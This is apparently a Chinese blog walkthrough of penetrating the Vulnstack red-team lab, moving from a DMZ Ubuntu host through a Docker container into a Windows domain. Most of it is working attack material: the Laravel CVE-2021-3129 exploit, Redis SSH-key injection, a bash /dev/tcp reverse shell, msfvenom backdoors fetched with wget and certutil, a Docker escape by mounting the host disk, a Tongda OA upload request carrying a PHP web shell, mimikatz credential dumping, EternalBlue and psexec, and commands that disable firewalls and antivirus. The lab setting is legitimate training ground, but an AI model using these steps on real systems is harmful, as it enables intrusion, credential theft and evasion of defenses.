内网安全-Docker逃逸&DMZ穿透

前言:本人刚接触内网比较菜,如有一些错误的地方请师傅们指点一下。

知识点:

1、WEB安全-漏洞发现及利用
2、系统安全-权限提升(漏洞&配置&逃逸)
3、内网安全-横向移动(口令传递&系统漏洞)
在这里插入图片描述
在这里插入图片描述

实战演练-ATT&CK实战系列-红队评估

环境下载:

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

利用资源:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/briskets/CVE-2021-3493
https://blog.csdn.net/szgyunyun/article/details/107104288

参考WP:

https://www.freebuf.com/articles/network/264560.html

涉及技术:

1.漏洞搜索与利用
2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
3.Docker逃逸
4.通达OA v11.3 漏洞利用
5.Linux环境变量提权
6.Redis 未授权访问漏洞
7.Linux sudo权限提升(CVE-2021-3156)漏洞利用
8.SSH密钥利用
9.Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
10.MS14-068漏洞利用

服务配置


靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应
的主机上启动靶机服务:

DMZ区的 Ubuntu 需要启动nginx服务:(web1)

sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F

第二层网络的 Ubuntu需要启动docker容器:(web2)

sudo service docker start
sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

域用户信息


域用户账户和密码如下:

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

kali开启ssh服务


/etc/init.d/ssh start 			xshell 连接22端口和kali的ip

在这里插入图片描述

过程


1.用kali扫描web1的外网端口(这里是46.160,kali是46.158地址)

nmap -T4 -sC -sV 192.168.46.160	

2.使用laravel爆出的漏洞

81端口:laravel 存在最新漏洞
python laravel-CVE-2021-3129-EXP.py http://目标地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3.在用哥斯拉后门工具连接
将有效载荷和加密器改为php的
在这里插入图片描述
4.在上线之前先判断对方的搭建系统出现这个东西就代表对方可以用docker服务
在这里插入图片描述
5.这里我们将web权限反弹到msf是不成功的
其一:是因为对放将81端口代理到52.20:8000端口上,这里肯定是连接不通的,因为我们的msf主机和对方的52网段的不出网机子不通
其二:后门的代理没有走第一层网络 所以连接不上web2上的主机
在这里插入图片描述
6.所以我们入侵该主机并不能造成太大的威胁,所以我们要入侵web的其他端口(kali扫描全部端口)扫到了6379的端口redis

nmap -T4 -sC -sV -p1-65535 192.168.xx.xxx

在这里插入图片描述
在这里插入图片描述
7.Ubuntu 1 DMZ渗透 redis未授权判断进入了就代表有redis未授权(kali运行)

redis-cli -h 192.168.xx.xxxxx

7.1Redis未授权访问-ssh密匙 生成公钥(kali 上执行)

ssh-keygen -t rsa

7.3把1.txt文件内容写入目标主机的redis缓冲中

cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello

7.4设置redis的备份路径为/root/.ssh/

config set dir /root/.ssh  

7.5设置保存文件名为authorized_keys

config set dbfilename authorized_keys 

7.6将数据保存在目标服务器硬盘上

save

7.7连接

ssh root@192.168.46.160

在这里插入图片描述

7.8获取web1的主机

在这里插入图片描述

8.因为连接到web1的主机,所以生成正向反向的后门都可以,生成反向连接的后门

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf

在这里插入图片描述
9.在将这个后门放到刚刚连接到的web1的文件下
在这里插入图片描述

10.在用redis未授权访问的web1下载这个后门

wget http://192.168.46.160:81/p1.elf

在这里插入图片描述

11.在这个后门执行前,kali上要启用msf的监听模块

msfconsole													开启msf
use exploit/multi/handler									使用监听模块
set payload linux/x64/meterpreter/reverse_tcp	设置刚刚生成后门的模块
set lhost 192.168.46.158								设置ip
set lport 6666												设置端口
exploit															攻击

在这里插入图片描述
12.redis未授权访问的主机执行后门代码

./p1.elf

在这里插入图片描述
13.然后进入到他的主机之后来进行横向渗透,首先来来获取路由

sessions 1											回到会话中
run get_local_subnets						获取本地路由
run autoroute -p 								查询本地路由
run post/multi/manage/autoroute			得到本地路由

在这里插入图片描述

14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址,其实还可以ping到20的地址

background 			
use auxiliary/scanner/discovery/udp_probe		使用扫描模块
show options													展示选项
set rhosts   192.168.52.1-255							设置主机范围
set threads 10												设置线程
run																运行

在这里插入图片描述
15.在利用环境变量配合SUID本地提权

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

16.通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限

cd /home/jobs
./shell	
chmod 777 ps
cp /bin/bash /tmp/ps

在这里插入图片描述

17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个kali会话连接到第一层的网络主机上面,设置nc将二层网络主机的权限反弹到一层主机上面

nc -lvp 1234

在这里插入图片描述
18.将web权限反弹到第一层主机上

bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'

在这里插入图片描述

19.添加环境变量

export PATH=/tmp:$PATH			添加环境变量
echo $PATH				查看环境变量

在这里插入图片描述
20.在来使用shell提升权限

./shell
id				查看权限

在这里插入图片描述
21.kali生成正向连接的后门由此来连接

msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf	生成正向连接的后门

在这里插入图片描述
22.在将这个后门放到冰蝎连接上的web主机上面
在这里插入图片描述
23.在来使用kali的msf监听这个后门

back
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp 
show options
set lport 7777
set rhost 192.168.52.20					主机连接对方的ip地址

在这里插入图片描述
在这里插入图片描述
24. 然后在提权的机器上运行后门发现不成功,这就是涉及到前面所提及到的dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)
在这里插入图片描述
25.docker逃逸在那台提权上的主机上进行逃逸

fdisk -l     			 #查看磁盘文件
ls /dev     			 #查看设备文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello

覆盖密匙:

cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys
 #-avx将权限也一起复制		
echo > /hello/home/ubuntu/.ssh/authorized_keys      #清空authorized_keys文件
echo '26步骤生成的密钥' > /hello/home/ubuntu/.ssh/authorized_keys       #将ssh秘钥写入	

在这里插入图片描述

26.pc1上覆盖密钥

ssh root@192.168.46.160 			重新连接kali
cat hello.pub					查看密钥
ssh-keygen -f hello				生成密钥
chmod 600 hello					给予权限
ls
cat  hello.pub

在这里插入图片描述
27.25步骤写入了密钥就可以连接52.20的主机(刚刚创建密钥的主机上连接)

ssh -i hello ubuntu@192.168.52.20	

在这里插入图片描述
28.在来运行该木马
在这里插入图片描述
29.然后建立的msf的监听就能接受到会话在这里插入图片描述
30.然后再来进入到ubuntu的会话中查看路由地址,就能添加到93的主机地址

session 4
run get_local_subnets

在这里插入图片描述

run autoroute -p
run post/multi/manage/autoroute

在这里插入图片描述
31.现在我们已经拿下了20和10的主机,我们要拿下30的主机,我们要使用nmap来扫描ip地址的服务,虽然我们这台msf有52网段的ip路由,但是nmap不是msf内置的工具,所以我们可以设置一个代理来使用nmap扫描工具。(这里使用msf自带的端口扫描模块)
在这里插入图片描述

在这里插入图片描述
32.这里我使用msf自带的扫描模块

use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.52.30
set threads 10
exploit

在这里插入图片描述
33.然后在用kali机连接到这个oa系统,前提win7上打开了oa系统,kali的浏览器上设置代理,使用burpsuite抓包
在这里插入图片描述
34. 这里就是使用通达OA系统的RCE和前台任意用户登录漏洞

34.1先在登录处抓包

在这里插入图片描述

34.2修改在路径,删除cookie,添加Uid

在这里插入图片描述

34.3然后就会返回这个cookie在来利用这个cookie未授权访问

在这里插入图片描述

34.4用获取的SESSID访问/general/

在这里插入图片描述

34.5未授权文件上传 任意文件上传漏洞 /ispirit/im/upload.php,在来直接使用这个数据包修改ip和端口号就行

Host: xxxx:xx
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
34.5在来使用文件包含来  命令执行
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 	ip:端口
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/图片路径"}&cmd=whoami

34.6发现可以命令执行,再来下载一个后门代码,前提在生成一个后门木马,生成windows木马,在将木马放到web的目录上

msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe

在这里插入图片描述

34.7再来下载这个木马

certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe

在这里插入图片描述

34.8使用木马前监听这个后门

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
exploit 

在这里插入图片描述

34.9使用这个木马

c:/w7.exe

35.成功之后发现有

background
sessions
sessions 5

在这里插入图片描述
36.添加93网段

run get_local_subnets
run autorouter  -p
run post/multi/manage/autoroute

在这里插入图片描述
在这里插入图片描述
37.然后在利用msf自带的扫描模块扫描

background
use auxiliary/scanner/discover/udp_proe
show options
set rhosts 192.168.93.1-50
run

在这里插入图片描述
38.发现对方开放的ip地址和端口在这里插入图片描述


注:这里是关闭了防火墙

39.其一:利用ms17010

use auxiliary/scanner/smb/smb_ms17_010		扫描是否有ms17010漏洞
show options
set rhosts 192.168.93.20-30			扫描20-30网段
exploit

在这里插入图片描述
40.发现有两台主机可以利用
在这里插入图片描述
41.其二:使用mimikatz来攻击

sessions
sessions 5
load kiwi			载入mimikatz

在这里插入图片描述
42.如果这里提示x32不能执行x64,那就要移植进程

kiwi_cmd sekurlsa::logonpasswords			获取账号密码

在这里插入图片描述
43.先执行ps命令获取一个x64的system权限进程

ps
migrate 4012			移植4012进程

在这里插入图片描述
44.再来执行刚刚的命令

kiwi_cmd sekurlsa::logonpasswords			获取账号密码

在这里插入图片描述
45.获取到administartor账号密码就来利用msf的psexec模块

background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp		改为正向连接
set rhost 192.168.93.30					设置主机
show options
set smbuser 获取到的administrator账号			设置账号
set smbpass 获取到的密码				设置密码
exploit

在这里插入图片描述
在这里插入图片描述
46.其三:利用smb的ms17010的psexec的模块

use exploit/windows/smb/ms17_010_psexec			使用模块
set payload windows/meterpreter/bind_tcp				设置正向连接
set rhost 192.168.93.40											设置ip

在这里插入图片描述


这里开启了防火墙

47.这就是开启了防火墙,攻击能成功但是反弹不了会话
在这里插入图片描述
48.首先建立session

sessions 5

在这里插入图片描述
49.返回shell终端
在这里插入图片描述
50.强制关闭防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"  
sc \\192.168.93.30 start unablefirewall

在这里插入图片描述
51.之后就可以继续攻击

background
exploit

在这里插入图片描述
52.攻击win7的ms17010的模块

background
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/bind_tcp		改为正向连接
set rhost 192.168.93.40
run

在这里插入图片描述

补充:
关闭防火墙: netsh advfirewall set allprofiles state off
关闭win10的防火墙Denfender: net stop windefend
关闭DEP: bcdedit.exe/set{current}nx alwaysoff
关闭杀毒软件: run killav run post/windows/manage/killava

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值